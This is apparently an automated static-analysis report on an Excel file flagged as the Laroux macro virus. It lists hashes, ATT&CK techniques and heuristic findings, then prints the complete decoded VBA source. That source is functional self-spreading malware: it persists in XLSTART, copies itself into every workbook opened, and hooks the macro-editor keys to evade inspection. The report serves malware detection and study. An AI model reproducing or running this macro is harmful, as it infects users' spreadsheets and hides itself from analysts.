Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e8b43625298f8a63…

MALICIOUS

Office (OLE)

67.5 KB Created: 2014-04-02 10:21:01 Authoring application: Microsoft Excel First seen: 2014-07-20
MD5: 94303d9749ba2ef3a7258e2bb0a51551 SHA-1: eaed2b04a6aeb403c8101ded5aa64802d9481c8e SHA-256: e8b43625298f8a63e58d4367e1fb0844305c4e8b0938b1c8f06c18587bbe24fb
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1564.001 Hidden Window

The sample is an Excel file containing VBA macros. The `auto_open` macro copies the workbook to the Excel XLSTART startup folder as 'StartUp.xls', establishing persistence. It also hooks Excel events (`OnSheetActivate`, `OnKey`) to evade inspection and spread to other workbooks. The `escape` and `back` subroutines appear to be part of the evasion and persistence mechanism, attempting to delete copies and re-open the startup file.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "StartUp.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1912 bytes
SHA-256: b35f884f1ab3c6e6c1dbe2d6db716dba0e1ebba6f7c888a0fd88da628484a892
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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